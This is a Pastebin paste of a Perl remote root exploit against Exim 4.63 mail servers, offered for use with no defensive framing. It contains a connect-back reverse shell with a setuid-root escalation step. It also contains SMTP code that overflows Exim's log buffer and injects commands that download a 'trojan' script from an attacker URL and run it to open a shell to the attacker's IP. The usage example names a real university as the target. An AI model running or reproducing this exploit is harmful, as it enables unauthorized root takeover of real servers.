Guest User

Untitled

a guest
Dec 13th, 2010
576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.08 KB | None | 0 0
  1. #Exim 4.63 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope
  2. #Modified perl version of metasploit module
  3.  
  4. =for comment
  5.  
  6. use this connect back shell as "trojanurl" and be sure to setup a netcat,
  7.  
  8. ---snip---
  9.  
  10. $system = '/bin/sh';
  11. $ARGC=@ARGV;
  12. if ($ARGC!=2) {
  13. print "Usage: $0 [Host] [Port] \n\n";
  14. die "Ex: $0 127.0.0.1 2121 \n";
  15. }
  16. use Socket;
  17. use FileHandle;
  18. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
  19. connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
  20. SOCKET->autoflush();
  21. open(STDIN, ">&SOCKET");
  22. open(STDOUT,">&SOCKET");
  23. open(STDERR,">&SOCKET");
  24.  
  25. open FILE, ">/var/spool/exim4/s.c";
  26. print FILE qq{
  27. #include <stdio.h>
  28. #include <unistd.h>
  29. int main(int argc, char *argv[])
  30. {
  31. setuid(0);
  32. setgid(0);
  33. setgroups(0, NULL);
  34. execl("/bin/sh", "sh", NULL);
  35. }
  36. };
  37. close FILE;
  38.  
  39. system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
  40. open FILE, ">/tmp/e.conf";
  41. print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";
  42. close FILE;
  43.  
  44. system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
  45. system("uname -a;");
  46. system("/var/spool/exim4/s");
  47. system($system);
  48.  
  49. ---snip---
  50.  
  51. =cut
  52.  
  53. use IO::Socket;
  54.  
  55. if ($#ARGV ne 3) {
  56. print "./eximxpl <host/ip> <trojanurl> <yourip> <yourport>\n";
  57. print "example: ./eximxpl utoronto.edu http://www.h4x.net/shell.txt 3.1.33.7 443\n";
  58. exit;
  59. }
  60.  
  61. $|=1;
  62.  
  63. $trojan = $ARGV[1];
  64. $myip = $ARGV[2];
  65. $myport = $ARGV[3];
  66. $helohost = "abcde.com";
  67.  
  68. $max_msg = 52428800;
  69.  
  70. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  71. PeerPort => "25",
  72. Proto => 'tcp');
  73.  
  74. while(<$sock>) {
  75. print;
  76. if ($_ =~ /220 /) { last;}
  77. }
  78.  
  79. print $sock "EHLO $helohost\r\n";
  80. while(<$sock>) {
  81. print;
  82. if ($_ =~ /250-SIZE (\d+)/) {
  83. $max_msg = $1;
  84. print "Set size to $max_msg !\n";
  85. }
  86. if ($_ =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/) {
  87. $revdns = $1;
  88. $saddr = $2;
  89. }
  90. if ($_ =~ /250 /) { last;}
  91. }
  92.  
  93. if ($revdns eq $helohost) {
  94. $vv = "";
  95. } else {
  96. $vv = $revdns. " ";
  97. }
  98.  
  99. $vv .= "(" . $helohost . ")";
  100.  
  101. $from = "root\@local.com";
  102. $to = "postmaster\@localhost";
  103.  
  104. $msg_len = $max_msg + 1024*256;
  105. $logbuffer_size = 8192;
  106.  
  107. $logbuffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <$from> H=$vv [$saddr]: message too big: read=$msg_len max=$max_msg\n";
  108. $logbuffer .= "Envelope-from: <$from>\nEnvelope-to: <$to>\n";
  109.  
  110. $filler = "V" x (8 * 16);
  111. $logbuffer_size -= 3;
  112.  
  113. for ($k=0;$k<60;$k++) {
  114. if (length($logbuffer) >= $logbuffer_size) {last;}
  115. $hdr = sprintf("Header%04d: %s\n", $k, $filler);
  116. $newlen = length($logbuffer) + length($hdr);
  117. if ($newlen > $logbuffer_size) {
  118. $newlen -= $logbuffer_size;
  119. $off = length($hdr) - $newlen - 2 - 1;
  120. $hdr = substr($hdr, 0, $off);
  121. $hdr .= "\n";
  122. }
  123. $hdrs .= $hdr;
  124. $logbuffer .= " " . $hdr;
  125. }
  126.  
  127. $hdrx = "HeaderX: ";
  128. $k2 = 3;
  129. for ($k=1;$k<=200;$k++) {
  130. if ($k2 > 12) {
  131. $k2 = 3;
  132. }
  133. # $hdrx .= "\${run{/bin/sh -c 'exec /bin/sh -i <&$k2 >&0 2>&0'}} ";
  134. $hdrx .= "\${run{/bin/sh -c \"exec /bin/sh -c 'wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000'\"}} ";
  135. $k2++;
  136. }
  137.  
  138. $v = "A" x 255 . "\n";
  139. $body = "";
  140. while (length($body) < $msg_len) {
  141. $body .= $v;
  142. }
  143.  
  144. $body = substr($body, 0, $msg_len);
  145.  
  146. print $sock "MAIL FROM: <$from>\r\n";
  147. $v = <$sock>;
  148. print $v;
  149. print $sock "RCPT TO: <$to>\r\n";
  150. $v = <$sock>;
  151. print $v;
  152. print $sock "DATA\r\n";
  153. $v = <$sock>;
  154. print $v;
  155.  
  156. print "Sending large buffer, please wait...\n";
  157.  
  158. print $sock $hdrs;
  159. print $sock $hdrx . "\n";
  160. print $sock $body;
  161. print $sock "\r\n.\r\n";
  162. $v = <$sock>;
  163. print $v;
  164. print $sock "MAIL FROM: <$from>\r\n";
  165. $v = <$sock>;
  166. print $v;
  167. print $sock "RCPT TO: <$to>\r\n";
  168.  
  169. while(1){};
Advertisement
Add Comment
Please, Sign In to add comment